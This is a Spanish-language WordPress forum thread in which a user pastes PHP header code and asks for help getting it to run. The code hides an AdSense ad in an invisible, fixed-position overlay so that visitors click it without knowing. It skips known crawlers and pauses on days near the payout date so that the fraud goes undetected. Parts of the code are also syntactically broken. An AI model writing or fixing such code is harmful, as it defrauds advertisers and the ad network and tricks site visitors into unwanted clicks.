Seguramente que no estaras respetando el php pon el header y el código a insertar para que te ayudemos.
Saludos.
compañero asi me queda entre el h1 y h2
<h1 class="text-logo"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
<?php
function is_bot(){
$bots = array(
'Googlebot', 'googlebot', 'Baiduspider', 'ia_archiver',
'R6_FeedFetcher', 'NetcraftSurveyAgent', 'Sogou web spider',
'bingbot', 'Yahoo! Slurp', 'facebookexternalhit', 'PrintfulBot',
'msnbot', 'Twitterbot', 'UnwindFetchor',
'urlresolver', 'Butterfly', 'TweetmemeBot' );
foreach($bots as $b){
if( stripos( $_SERVER['HTTP_USER_AGENT'], $b ) !== false ) return true;
}
return false;
}
// Desactivar las 3 condiciones
$demo = false;
// Condición 1 - Mostrar a usuarios que llegan de Facebook
$referer = $_SERVER['HTTP_REFERER'];
$referer=str_replace("http://", "", $referer);
$referer=str_replace("https://", "", $referer);
$referer=str_replace("www.", "", $referer);
$pieces2 = explode("/", $referer);
$referer=$pieces2[0];
if($referer == 'facebook.com') { $filtro1="si"; } else { $filtro1="si"; }
// Condición 2 - Control de CTR
if($filtro1=="si") {
$porcentaje = 100;
if(rand(0,100) <= $porcentaje){
$filtro2="si";
}else{
$filtro2="no";
}
}
// Condición 3 - No ejecutar script oculto si son días cercanos al cobro
if(($filtro1=="si") && ($filtro2=="si")) {
$dia=date("d");
if(($dia=="18") ||
($dia=="19") ||
($dia=="20") ||
($dia=="21") ||
($dia=="22") ||
($dia=="23") ||
($dia=="24") ||
($dia=="25")) { $filtro3="no"; } else { $filtro3="si"; }
}
$codigoAdsense= <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- pruebacod016 -->
<ins class="adsbygoogle"
style="display:inline-block;width:300px;height:250px"
data-ad-client="ca-pub-xxxxxxxxxxxxxxxx"
data-ad-slot="2751298349"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
$estilo="<style>
#flotante {
width: 410px;
height: 310px;
top: 39%;
left: 22%;
position: fixed;
margin-left: -40px;
z-index:999;
opacity: 0;
}
</style>";
if(($filtro1=="si") && ($filtro2=="si") && ($filtro3=="si") || ( $demo == true )) {
echo $estilo;
echo "<div id="flotante">";
echo $codigoAdsense;
echo "</div>";
echo "</div>";
} else {
} ?>
<?php } else { ?>
<h2 class="text-logo"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h2>